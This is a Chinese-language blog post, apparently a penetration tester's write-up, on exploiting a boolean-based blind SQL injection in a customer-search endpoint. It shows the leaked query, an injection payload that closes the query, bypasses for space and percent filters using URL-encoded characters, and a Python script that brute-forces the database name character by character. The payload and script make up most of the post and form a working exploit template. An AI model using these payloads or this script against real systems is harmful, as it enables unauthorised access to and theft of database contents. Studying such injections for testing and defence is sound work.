您好,登錄后才能下訂單哦!
今天就跟大家聊聊有關如何進行布爾型盲注的PY交易分析,可能很多人都不太了解,為了讓大家更加了解,小編給大家總結了以下內容,希望大家根據這篇文章可以有所收獲。
經過上一篇的良好反饋,我正好在項目中發現了這個布爾型漏洞,就編寫了本篇文章,主體格式一樣,但內容針對不同,下次看看在弄個什么的PY交易好,讓我再想想。
在這次的測試過程中發現了一個注入點,通過測試發現返回包內包含了sql語句,確認可以注入,開始了這次的注入嘗試。
首先我們可以確認這是一個GET型數據調用,本以為是簡單的報錯注入,應該可以直接利用sqlmap進行漏洞的利用,但現實狠狠的給了我一個耳光。sqlmap根本法利用這個漏洞,但返回的數據包中實打實出現我數據庫語句,所以我把返回的數據庫語句拿出來,開始了一點點的構造進程。
復制出來的數據庫語句:
SELECT count(0) FROM customer c WHERE c.dealership_id = ? AND c.active = true AND (c.full_name LIKE '%1%') AND 1 IN (1, 2) AND (c.full_name LIKE '%test%' OR c.phone_number LIKE '%1%') AND 1 IN (1, 2) AND (c.full_name LIKE '%test%' OR c.phone_number_sub1 LIKE '%1%') AND 1 IN (1, 2) AND (c.full_name LIKE '%test%' OR c.phone_number_sub2 LIKE '%1%') AND 1 IN (1, 2) AND (c.full_name LIKE '%test%')
經過實驗,發現報錯內容不同,可說明與參數確實可以影響數據庫語句。但返回的內容需要進行閉合而且返回內容不可以利用,所以可以排除報錯等類型注入形式,可以探測的注入類型就僅剩下兩種了:時間型盲注,布爾型盲注直接在目標后加入測試語句。
構造數據庫語句:
%'){測試語句}AND(c. full_name like '%test
返回成功,實現語句閉合(此外利用了數據庫模糊查詢like %%),在測試過種發現存在過濾,單獨%無法通過,空格無法通過,系統會返回404,針對之前爆出的數據庫語句,利用%25和%20繞過對對單獨%和空格的過濾構造出以上的數據庫語句完成語句的閉合,成功返回200,確認可以返回正常數據包,并可以根據數據庫語句的正確來進行布爾型盲注測試。
接下來確認測試語句
27)and%0a(ascii(substr(database(),{1},1))={0})%0aAND(c.full_name%0alike%0a%27%25test
按位截取的形式進行匹配,確認數據庫名稱
利用python的數據包發送來批量測試目標內容
和時間型盲注不同,布爾型盲注要根據返回數據包的不同來確認問題
%0a(ascii(substr(database(),{1},1))={0})%0a
利用find函數來查找返回的數據特征,判斷是否成功得到注入數據
# coding:utf-8 import requests import datetime import time headers = { 頭信息,自己添加 } chars = 'abcdefghigklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ123456789@_.' database = '' for j in range(1,11): for i in range(49,125): Url = 'https://xxxxxxxxxxxxxxxxxxxxxxxxxxxxx/find?pageNo=1&pageSize=20&searchWord=1%25%27)and%0a(ascii(substr(database(),{1},1))={0})%0aAND(c.full_name%0alike%0a%27%25test' UrlFormat = Url.format(i,j) #format()函數使用 r = requests.get(UrlFormat,headers=headers) d = r.content.find("Test") #利用find函數來查找返回的數據特征,判斷是否成功得到注入數據 if d != -1: print(i) print chr(i) database += chr(i) print database break else: pass
對于代碼的未來,有如下的想法
1.加入數據包直接調用的功能
2.針對0值永真的修改
3.進行線程上的優化
4.編寫GET方法的代碼
5.進行整體代碼的邏輯重構(這個是吹NB)
看完上述內容,你們對如何進行布爾型盲注的PY交易分析有進一步的了解嗎?如果還想了解更多知識或者相關內容,請關注億速云行業資訊頻道,感謝大家的支持。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。